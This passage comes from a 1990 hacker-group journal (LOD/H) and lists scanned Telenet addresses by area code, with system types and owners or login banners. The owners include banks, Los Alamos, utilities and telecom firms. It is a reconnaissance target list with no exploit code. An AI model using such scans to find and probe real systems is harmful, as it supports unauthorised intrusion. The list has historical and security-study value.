   627                    Fujitsu America


410--RCA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   0                      RCA


412--PENNSYLVANIA--ADDRESSES SCANNED:  0-800

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   33                     Enter Usercode:
$  34                     LORD Corporation
$  35a                    Telenet Async to 3270
   42                     Federated Edge
   43                           "
   47                     Enter Logon
   48                          "
   49                          "
   51                          "
   52                          "
   55                     COMMAND UNRECOGNIZED
   61
   63
   67                     enter terminal id
*  68
   79                     Federated Edge
   117     VAX
*  122
   276                    COMMAND UNRECOGNIZED
   277                            "
   278                            "
   279                            "
*  331
   340                    Mellon Bank
   341                    C@
   342                    COMMAND UNRECOGNIZED
   349                    *** ENTER LOGON
   352                            "
   354     VAX
   355                    C@
   360     VAX
   430
   431
   671                    Carnegie-Mellon MICOM-B


413--MASSACHUSETTS--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  21                     TW81


414--WISCONSIN--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  20                     PC Pursuit Dialer (300)
$  21                     PC Pursuit Dialer (1200)
$  31      AOS
$  34      AOS
$  36      AOS
*  38
$  46      PRIME          SYSU
   49                     MMISC
   60                     MGIC
   81a
*  120
$  131     AOS
$  132     AOS
$  134     AOS
$  136     AOS
$  137     AOS
*  151
   153
   189a


415--CALIFORNIA--ADDRESSES SCANNED:  0-1300

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  5                      PC Pursuit Dialer (2400)
   7       HP-3000
$  11                     PC Pursuit Dialer (1200)
   20                     Dialog
   27                     Stanford Data Center
   29                     Stnaford U. Hospital
$  34      AOS
   38      HP-3000
*  39
$  45      PRIME          CESSF
   48                     Dialog
   49                        "
   53      VAX
$  106                    Telenet Async to 3270
$  108                    PC Pursuit Dialer (300)
$  109                    PC Pursuit Dialer (1200)
$  130     AOS
*  138
*  139
*  142
*  143
*  144
*  145
$  157     VAX            MENLO
   158                    ComMail  Esprit de Corp
$  164     AOS
   167     PRIME          VESTEK
*  174
*  178
$  215                    PC Pursuit Dialer (300)
$  216                    PC Pursuit Dialer (1200)
$  217                    PC Pursuit Dialer (2400)
$  224                    PC Pursuit Dialer (2400)
   238                    GEONET
   239                    Telenet Async to 3270
   242     VAX
*  252
   269                    LUT Rel 3.2>
$  333     AOS
$  335     AOS
   338                    Telenet Async to 3270
   342                    Dialog
   343                    Telenet Async to 3270
   345                    SBE Inc.
*  348
*  370
   379     VAX
$  431     AOS
$  434     AOS
$  436     AOS
$  437     AOS
$  438     AOS
   452                    Telmar Intl Network
*  460
*  468
$  470
$  471
$  541     AOS
$  542     AOS
$  543     AOS
$  544     AOS
$  545     AOS
*  546
$  547     AOS
$  549     AOS
*  551
*  560
*  571
   572     VAX
   575     VAX            SPRINT
   576
   578
   672                    Telenet Async to 3270
   698
$  730     AOS
$  731     AOS
$  732     AOS
$  733     AOS
*  734
*  735
*  736
*  737
*  738
*  739
*  740
*  741
   780
   827
   1030    PRIME
   1036                   OVL 111 44 IDLE
   1037
   1038
   1055
   1063
   1200                   enter switch characters
   1201                             "
   1202                             "
   1205                             "


419--OHIO--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
*  35


422--WESTINGHOUSE--ADDRESSES SCANNED:  0-1125

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   1       PRIME
   2
   102                    ARDM1
   104     HP-3000
   106     GS/1
   114                    west pgh tcc
   115                    corp info service
   121     AOS
   126                    tcc1
   127                    csc2
   130     PRIME
   132     UNIX
   135     UNIX
   140
   141     VAX
   180                    MHP1201I
   182                       "
   183                       "
   185                       "
   187                       "
   194                    Commtex CX-80
   221
   222     HP-3000
   223     VAX
   229


424--UNKNOWN--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   100
   101
   102
   103
   104
   114
   115
   116
   122
   123
   129
   130

==============================================================================

               End of First Half of LOD/H Telenet Directory, Rev. #5
==============================================================================
The LOD/H Technical Journal, Issue #4: File #09 of 10

                       The Legion Of Hackers Present:
                       Updated:  Telenet Directory
                       Part B: Addresses 501XXX to 919XXX
                       Revision #5 Last Updated: 2/10/90
                       (Includes Mnemonic Host Names)

                           Scanned and Written by:
                                Erik Bloodaxe


501--ARKANSAS--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  30      AOS
$  31      AOS
*  32
*  38
$  44      PRIME          LROCK


502--KENTUCKY--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
*  50
*  58
*  60
*  61


503--OREGON--ADDRESSES SCANNED:  0-1000

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  20                     PC Pursuit Dialer (300)
$  21                     PC Pursuit Dialer (1200)
$  30      AOS
$  31      AOS
$  32
$  36      AOS
$  37      AOS
$  39      AOS
$  40      AOS
*  41
$  45      AOS
$  46      AOS
$  47      AOS
$  48      AOS
$  49      AOS
$  52      AOS
$  56      AOS
$  60      AOS
$  63      AOS
$  68      AOS
$  71      AOS
   75                     PLEASE SIGN ON
$  76      AOS
$  77      AOS
$  78      AOS
   120
$  130     AOS
$  132     AOS
$  134     AOS
$  136     AOS
$  137     AOS
$  138     AOS
$  141     AOS
$  142     AOS
*  143
$  147     AOS
$  149     AOS
$  150                    TEKTRONIX 100
$  151     AOS
$  152     AOS
$  154     AOS
$  156     AOS
*  162
$  167     AOS
$  168     AOS
$  169     AOS
$  170     AOS
$  174     AOS
$  177     AOS
$  200     AOS
*  228
*  229
$  230     AOS
*  232
*  237
$  238     AOS
$  239     AOS
*  240
$  241     AOS
$  242     AOS
$  243                    ID
$  250     AOS
$  255     AOS
$  274     AOS
$  277     AOS
$  278     AOS
$  279     AOS
$  330     AOS
$  331     AOS
$  332     AOS
$  334     AOS
$  335     AOS
$  336     AOS
$  338     AOS
$  339     AOS
$  340     AOS
$  341     AOS
$  342     AOS
$  345     AOS
$  349     AOS
$  350     AOS
$  351     AOS
$  353     AOS
$  355     AOS
$  357     AOS
$  360     AOS
$  370     AOS
$  371     AOS
$  432     AOS
$  440     AOS
   613     UNIX           sequent


504--LOUISIANA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
*  22
$  31                     ID
$  32      AOS
$  33      AOS
$  34      AOS
*  38
*  44
*  116
*  117
$  140     AOS
*  141
*  142


505--NEW MEXICO--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  30      AOS
$  31                     ID
$  33      AOS
*  34
$  36      AOS
$  40      AOS
*  45
$  46      AOS
$  51      AOS
$  52      AOS
$  53      AOS
$  56      AOS
$  57      AOS
$  60                     ICN Username:
$  61                     Los Alamos
$  70      AOS
$  72      AOS
$  74      AOS
$  75      AOS
$  77      AOS
$  78      AOS
$  132     AOS
$  133     AOS
*  134
$  136     AOS
$  137     AOS
$  139     AOS
$  144
$  150


509--WASHINGTON--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  25      AOS
$  26      AOS
$  31      AOS
$  32                     ID
*  33
$  48      AOS
$  50      AOS
$  73      AOS
$  79      AOS
*  130
*  140
*  145


511--UNKNOWN--ADDRESSES SCANNED:  0-250

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   87


512--TEXAS--ADDRESSES SCANNED:  0-300

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  5
$  33      PRIME          BROWNS
$  34      PRIME          AUSTIN
   40
*  55
*  62
*  63
*  64
*  65
   136
*  139
   142     VAX            Gould Inc.
$  242                    Primefax Info Service


513--OHIO--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   30                     LEXIS/NEXIS
   31                     Meadnet
*  32
$  33      PRIME          D01
$  34      VAX
$  37      PRIME          E03
$  55      PRIME          I01
$  57      PRIME          E04
   59                     Develnet
$  65      VAX
*  66
$  67      PRIME          E09
$  68      PRIME          X01
*  69
$  72      PRIME          O1
*  73
$  74      PRIME          W01
*  75
$  77      PRIME          M01
$  78      PRIME          A02
$  79      PRIME          C2
$  80                     JETNET EVENDALE
   131                    LEXIS/NEXIS
   132                         "
   133                         "
   134                         "
*  140
   143     VAX
*  144
*  158


515--IOWA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   30                     LEXIS/NEXIS
   31                          "
$  39      PRIME          NVSL
$  40                     ID
*  41
*  42
$  43      PRIME          DESMOM
   131                    LEXIS/NEXIS


516--NEW YORK--ADDRESSES SCANNED:  0-700

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   30      VAX            OFFICE
   35                     CCI MULTILINK
*  38
$  41      VAX
   45      VM/370
   47
   48a                    Customer id:
   49a                        "
   50a                        "
*  140
$  141                    # CONNECT REQUESTED
   157
$  232     HP-3000
   600     PRIME
*  601
   610     PRIME          P550
   617                    Pi-Net
   618                    Pi-Net
   625     VAX
   655


517--MICHIGAN--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
*  40
$  42      AOS


518--NEW YORK--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   30                     USSMSG2
   31                        "
   35                        "
   36                        "
   37                        "


601--MISSISSIPPI--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  30      AOS
$  31                     ID
$  33      PRIME          GLFPRT
*  36
*  37
*  40


602--ARIZONA--ADDRESSES SCANNED:  0-1000

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  22                     PC Pursuit Dialer (300)
$  23                     PC Pursuit Dialer (1200)
$  26                     PC Pursuit Dialer (2400)
*  30
*  32
$  33      AOS
$  34      AOS
$  35                     GTE COMMUNICATION SYSTEMS
$  53a     CYBER
*  55
$  56      AOS
$  57      AOS
$  58      AOS
$  61      AOS
$  62                     ID
$  65      AOS
*  66
$  67      AOS
$  100     AOS
*  131
*  133
   141a
   142
$  242     AOS
$  344     VAX            BUSTOP
*  349
*  350
*  351
*  352
*  353
*  354
*  355
*  356
*  357
*  358
*  359
*  360
*  361
   603
$  630                    >


603--NEW HAMPSHIRE--ADDRESSES SCANNED:  0-700

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  20                     Dartmouth College
$  30      AOS
*  33
$  36                     ID
$  37
$  40
   46                     USER NUMBER--
   51                     CHUBBS online
   53                     CHUBBS online
$  57                     ID
*  58
   66                     USER NUMBER--
   135     VM/370
   136     VM/370
*  137
   603     VAX


606--KENTUCKY--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  30      AOS
$  31                     ID
$  37      AOS
   44      HP-3000


607--NEW YORK--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
*  30
*  32
   44                     enter system id
   45                           "
   70      PRIME          FDC99
*  131
*  136


608--WISCONSIN--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  30      AOS
   35                     enter logon command
$  140                    ID
*  141


609--NEW JERSEY--ADDRESSES SCANNED:  0-300

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  23                     enter class
$  26                     UNSUPPORTED FUNCTION
   42                     Dow Jones
   46                     Dow Jones
$  47      HP-3000
$  61                     UC
$  63                     UC
$  68                     UC
$  73
   100     PRIME
   124
$  125     HP-3000
$  126                    UC
$  132     PRIME          MOORES
$  136                    Twain Terminal Server
   138     PRIME          HCIONE
$  141                    UNSUPPORTED FUNCTION
$  145                    ID
   170     PRIME
*  171
$  172                    UC
   232a                   MHP2021 APPLICATION:
   242                    Dow Jones
   243                    Dow Jones
   244                    Dow Jones


611--UNKNOWN--ADDRESSES SCANNED:  0-400

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   25                     TRANSEND
   26                         "
   27                         "
   28                         "
   39                     CCF Development System
   56                     CCF Computing Facility
   60                     Nexnet
   120     VAX
   130     TOPS-20        F.A.S.T.
   145                    Good Evening,Please Logon:
   150     PRIME          MHT850
   192     PRIME
   193     PRIME
   194     PRIME
   195     PRIME
   196     PRIME          LDN
   198     PRIME          DEV2
   234
   235                    MHCOMET
   236                       "
   237                       "
   238                       "


612--MINNESOTA--ADDRESSES SCANNED:  0-500

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   21a
$  22                     PC Pursuit Dialer (2400)
   23                     WESTLAW
$  33                     ID
   34                     WESTLAW
   36
   37                     WESTLAW
$  44      AOS
$  46                     CDCNET
$  52      PRIME
*  53
   56                     WESTLAW
   57                        "
$  69                     ID
$  70      AOS
*  71
$  120                    PC Pursuit Dialer (300)
$  121                    PC Pursuit Dialer (1200)
$  131                    ID
*  132
*  138
$  139     VAX
$  162     PRIME          PIERRE
*  231
*  232
*  233     AOS
   236
   240                    MSC X.25 Gateway
*  251
*  252
$  260                    CDCNET
   270                    WESTLAW
   271                       "
*  332
*  333
$  340     AOS
$  351     AOS
   356                    WESTLAW
   357                       "
   358                       "
   359                       "
   362                       "
   363                       "
   364                       "
   365                       "
   366                       "
   367                       "
   369                       "
   385
   391                    WESTLAW
   393                       "
*  430
   442                    please LOGIN


614--OHIO--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  30                     ID
*  36
*  130
$  131     AOS
*  132


615--TENNESSEE--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  30      AOS
$  31                     ID
$  32
$  33      PRIME          FRKFRT
$  34      AOS
*  36
*  50
*  55
   139a                   Telenet Async to 3270


616--MICHIGAN--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  30      AOS
   45      VAX            ACTEST
$  50
$  51
   58                     MHP201A
   63                     Meridian


617--MASSACHUSETTS--ADDRESSES SCANNED:  0-1100

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   20      PRIME          PBN27
   22      PRIME          BDSD
*  26
*  29
$  30      GS/1
   37      PRIME          BDSH
   46      PRIME          BDSS
$  47                     ENTER ACCESS PASSWORD:
   48      VAX
*  51
$  56
*  61a
$  64      PRIME          OPS
   67      PRIME          IRI System 1
   72      PRIME          IRI System 2
   74      PRIME          ENB
*  78
*  114
*  115
   143     IDC/370
   147     HP-3000
   152                    ENTER LOGON
*  153
   158     PRIME          BDSW
   164
   169
   201
   205     AOS            MONARCH
   206
   226     VM/370
*  230
   236     VAX            Thompson Financial Network
   237     UNIX           b1cs4
   249     Decserver
   250                    NDNA
   255     PRIME          PBN43
   256                    MGS Teaching Program
*  266
   270     VAX            SNOOPY
   273                    enter system id
*  274
   291
$  311                    PC Pursuit Dialer (300)
$  313                    PC Pursuit Dialer (1200)
   330     VAX
*  336
$  341     VAX
$  347     HP-3000
   349
   350     PRIME          PBN39
   351     PRIME          BDSU
   352     PRIME          OASB
   354     VAX            Anchor Comm. Router
   359     VAX            HEWEY
*  371
*  372
   379                    $$ 4200 MODEL:
   380     PRIME          L01
   381     PRIME          P01
   382     PRIME          Y01
   383     PRIME          H02
   387     PRIME          B01
   388                    $$ 4200 MODEL:
   391     PRIME          P01
   393     PRIME          Y04
   398     PRIME          V03
   437     HP-3000
   443     IDC/370
   446     PRIME          ENO
   447     PRIME          ENL
   451
   452     PRIME          NET
   454     PRIME          NORTON
   457     PRIME          NNEB
   476     PRIME          NNEB
*  460
*  465
   491     PRIME          ROCH
   492     PRIME          MELVLE
   493     PRIME          STMFRD
   499     PRIME          SYRA
   501     PRIME          OASC
   502     PRIME          APPLE
   510     PRIME          EN.C06
   515     UNIX
   516     PRIME          PBN38
   517     PRIME          PBN38
   518     PRIME          BDSA
   519     PRIME          PBN54
   520     PRIME          PBN57
   525     PRIME          IRI System 8
   530                    Maxlink
   541     PRIME          BDSS
   543     PRIME          PBN37
   550     PRIME          B01
   551     PRIME          CSP-A
   553     PRIME          BDSQ
   556     PRIME
   558     PRIME          CSSS.A
   560     PRIME          BDSN
   562     PRIME          BDS2
   563     PRIME
   568     PRIME          OASI
   575     PRIME          PBN50
   577     PRIME          B30
   578     PRIME          B04
   583     PRIME          MD.HFD
   587     PRIME          TR.SCH
*  588
$  589
*  590
   591     PRIME          EN.M19
   593     PRIME          BDSO
   596     PRIME          MKT
   597     PRIME          BDSB
   599     PRIME          OASJ
   618     UNIX
*  623
   641     AOS            Timeplace Inc.
   649                    PAPERCHASE
   654     PRIME          IRI System 9
   710     PRIME          MD.ATC
   711     PRIME          AESE01
   713     PRIME          PEACH
   716     PRIME          WAYNE
   717     PRIME          ETHEL
   718     PRIME          BUGS
   722     PRIME          PBN31
   723     PRIME          MD.NJ
   724     PRIME          NYMCS
   725     PRIME          PRNCTN
   726     PRIME          NJCENT
   736     VAX            Butterworths
   737     VAX                  "
$  840     PRIME          WALTHM
   850     PRIME          MD-CHI
   851     PRIME          PBN30
   852     PRIME          MD.LP1
   855     PRIME          TRNG.C
   856     PRIME          CS.CHI
   857     PRIME          CS.OAK
   858     PRIME          CS-DEN
   859     PRIME          AWCE02
   861     PRIME          PTCDET
   862     PRIME          DRBN1
   864     PRIME          CS.DET
   865     PRIME          MD.DET
   866     PRIME          MD.DAC
   867     PRIME          ACEC01
   868     PRIME          MD.GR
   870     PRIME          CS.IND
   871     PRIME          MD.IND
   872     PRIME          MD.PIT
   873     PRIME          ACMC01
   874     PRIME          PITTCS
   875     PRIME          MD.CLE
   902     PRIME          MD.HOU
   905     PRIME          OASG
   908     PRIME          WMCS
   910     PRIME          CSWDC
   911     PRIME          VIENNA
   912     PRIME          BALT
   928     PRIME          CS.HOU
   930     PRIME          MD.AUS
   931     PRIME          CS.SCR
   937     PRIME          TRNED
   957     PRIME          ZULE
   958     PRIME          EDOC1
   959     PRIME          FUZZY
   962     PRIME          PBN49
*  971
*  972
*  973
*  974
   980     PRIME          WUFPAK
   981     PRIME          WMMKT
   986
   993                    CU-Manchester-
   995     PRIME          ATC55
   996     PRIME          PBN65
   998     PRIME          TRNGB
   3088    VAX            DELPHI

619--CALIFORNIA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  31                     Environment Ctrl Monitor
   41      VM/370
*  51
   56
   57
$  62      AOS
$  63      AOS


626--UNKNOWN--ADDRESSES SCANNED:  VARIOUS

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  1000    PRIME
$  1002    VAX            Pacific Gas & Electric


703--VIRGINIA--ADDRESSES SCANNED:  0-1300

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  30      AOS
$  32
$  33      AOS
   40      VAX
   41      VAX
$  42                     ENTER USERID:
   44      AOS            Project HOPE
$  53      HP-3000
   55                     ENTER SWITCH CHARS
   141                    enter /login
   142                         "
   160     VAX
   163a
$  168
*  176
$  177     AOS
*  206
*  207
$  253     AOS
$  254     AOS
$  255     AOS
$  256     AOS
$  257     AOS
$  262     AOS
*  340
*  341
*  342
$  344                    ** NETWORK SIGN-ON FAILED:
*  346
   367                    P.R.C.
   371                    P.R.C.
*  377
   431                    TACL 1>
*  460
*  461
$  463     DEC-20
*  464
$  466     DEC-20
*  467
$  468
$  469     Decserver
*  470
   511                    bcs network
   512                    bcs network
   530                    bcs network
$  1000                   FCC FIRSTRA'
$  1001                   FCC FIRSTRA'


704--NORTH CAROLINA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  31      AOS
$  32      AOS
*  60
*  61
*  62
$  63      AOS
*  64
*  168
   170
   171
   173


707--CALIFORNIA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  30      AOS
$  48      AOS
$  49      AOS
$  50      AOS
$  51      AOS
$  52      AOS


711--UNKNOWN--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   15      PRIME


713--TEXAS--ADDRESSES SCANNED:  0-500

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  24                     PC Pursuit Dialer (2400)
*  42
$  43                     ID
$  44                     ID
*  58
   73      PRIME          TXNODE
   76                     %u@IUeASID@cAbR@CUDEz
   77                              "
   79                              "
   80                              "
   81                              "
$  113                    PC Pursuit Dialer (300)
$  114                    PC Pursuit Dialer (1200)
   146                    %u@IUeASID@cAbR@CUDEz
*  167
*  224
*  227
*  228
*  232
*  234
$  238     HP-3000
   239                    Compaq
   255     PRIME          SYS1
$  260     PRIME          HOUSTN
   276
*  335
   336     PRIME          GANODE
   340a
   345                    COMM520
   346a                   Telenet Async to 3270
$  364     VAX
   366     PRIME          CANODE
   368     PRIME          MANODE
$  371                    Coca-Cola Foods
   431


714--CALIFORNIA--ADDRESSES SCANNED:  0-300

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  4                      PC Pursuit Dialer (2400)
$  23                     PC Pursuit Dialer (300)
$  24                     PC Pursuit Dialer (1200)
$  33                     911 Monitor ECM
$  41                     AGS
   48      PRIME          TWCALF
   49                     SERVICE ID=
$  55      HP-3000
$  62      AOS
$  63      AOS
$  64      AOS
$  65      AOS
$  66      AOS
$  67      AOS
$  68      AOS
   72      PRIME          FSCOPE
$  102                    PC Pursuit Dialer (2400)
$  119                    PC Pursuit Dialer (300)
$  121                    PC Pursuit Dialer (1200)
$  130                    MMSA
   131     PRIME          CAJH
*  133
*  145
$  160     HP-3000
*  164
   166     HP-3000
*  167
*  168
*  169
   171                    COMMAND UNRECOGNIZED
   172                            "
*  178
$  210                    PC Pursuit Dialer (300)
$  213                    PC Pursuit Dialer (1200)
$  240     AOS
   246                    COMMAND UNRECOGNIZED
$  272     AOS
*  273
$  274     AOS
$  275     AOS
$  276     AOS


716--NEW YORK--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   23                     enter user code please
   25                               "
   31      HP-3000
   50
   130                    enter logon request-
   131                            "
   133                            "
$  135     VAX


717--PENNSYLVANIA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   8       VM/370
*  24
*  31
*  32
*  33
*  34
   40      PRIME          IREX
   42      PRIME          IREX
   45      VOS
   46      VOS
   47                     Camp Hill Mgt. Info Center
   48                                "
   50
   51                     Telenet Async to 3270
   52a                    Telenet Async to 3270
   53
*  150
*  153
*  154
*  160
*  161
*  162
*  163


801--UTAH--ADDRESSES SCANNED:  0-500

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  12                     PC Pursuit Dialer (2400)
$  20                     PC Pursuit Dialer (300)
$  21                     PC Pursuit Dialer (1200)
   24                     Wasatch System
   25                           "
   26                           "
   27                           "
$  35                     ID
*  37
$  39      AOS
$  44      AOS
$  49      AOS
$  52      AOS
$  54      VAX
$  57      AOS
$  60      AOS
$  62      AOS
$  65      AOS
$  130     AOS
   144
*  150
$  151     AOS
*  152
$  153     AOS
   176
$  231     AOS
$  232     AOS
$  239     AOS
   250                    ID?>
   257
   258


802--VERMONT--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  31      AOS
$  32      AOS
$  33                     ID
*  35
*  36
$  37      AOS
$  38      AOS


803--SOUTH CAROLINA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
*  30
*  32
$  50
$  51                     KEMET ELECTRONICS
*  55
   60                     Telenet Async to 3270
   61a                    Telenet Async to 3270
$  70      AOS
*  71
*  74
$  77      AOS
   131                    Kemet
   132a                   Telenet Async to 3270
*  133
$  135     PRIME          PRISM


804--VIRGINIA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   35      VAX
*  43
*  45
$  60                     ID
*  61
*  62
*  155
$  160     AOS


805--CALIFORNIA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  30      AOS
   50      VAX
   51      VAX
*  58
*  59
*  60
*  61
*  62
*  63
*  64
*  65
*  74
   90
   100
   101     UNIX           salt.acc.com
   130
   150     PRIME          MBM


808--HAWAII--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  40      VAX
   100     PRIME


811--GTE--ADDRESSES SCANNED:  0-300

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
*  15
   17      HP-3000
   21      UNIX           GTE RPU2
   22      UNIX           GTE IPU
   24      UNIX           GTE RPU1
   25                     TACL 1>
   28                     TACL 1>
   118                    CANNOT EXEC!
   123     HP-3000
*  129
*  143
*  217
*  219


812--INDIANA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  30      AOS


813--FLORIDA--ADDRESSES SCANNED:  0-700

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  20                     PC Pursuit Dialer (300)
$  21                     PC Pursuit Dialer (1200)
*  33
   35      PRIME          S9750
   43                     ** 4200 TERMINAL TYPE:
$  52      DEC-20         Price Waterhouse
$  53      VAX
$  55                     PRICE WATERHOUSE
$  59                     Telenet Async to 3270
   73      VM/370
   74                     ** 4200 TERMINAL TYPE:
*  76
$  124                    PC Pursuit Dialer (2400)
   131                    IBM INFORMATION SERVICES
   143                             "
   147                             "
*  148
*  151
*  153
*  154
   160     VAX
   161     VAX
   164     VAX
*  165
   166a                   Telenet Async to 3270
*  167
$  169     GS/1
   172                    IBM INFORMATION SERVICES
   174                             "
   210
   214
   215
   218
*  222
$  225                    ----SECURITY SUBSYSTEM----
$  226                                "
*  265
   267                    IBM INFORMATION SERVICES
$  268                    U#=
   269a    VAX            Addidas
   271                    Access Code:
   272     PRIME
   275                    Access Code:
   277                    U#=
*  330
   344                    TACL 1>
   346                      "
   350     VAX
*  351
   355
*  360
*  361
   430                    Telenet Async to 3270
   431a                   Telenet Async to 3270
   436                    U#=
   438     VAX            DEC/ETONIC
*  460
   465                    Martin Marietta
   466                    Martin Marietta
   467                    Enter Switch Characters
   468                            "
   660


814--PENNSYLVANIA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   50      PRIME          SYSA
*  53
$  130     VAX
$  137     AOS


816--MISSOURI--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   36
*  38
*  43
$  44      AOS
*  45
$  57      AOS
$  58      AOS
*  59
$  62
   77
$  104                    PC Pursuit Dialer (300)
$  113                    PC Pursuit Dialer (1200)
$  150
*  157
*  161
   189                    CDCNET


817--TEXAS--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
*  33
$  35      PRIME          FWRTH
*  36
*  37
   141     VAX            Tandy Information Service
*  160
*  161
*  162


818--CALIFORNIA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
*  20
$  21                     PC Pursuit Dialer (1200)
*  29
*  50
$  130
*  139


888--GTE HAWAIIAN TELEPHONE--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
*  25
$  51
*  52
$  53      PRIME          HAWAII
*  30
*  45
*  50


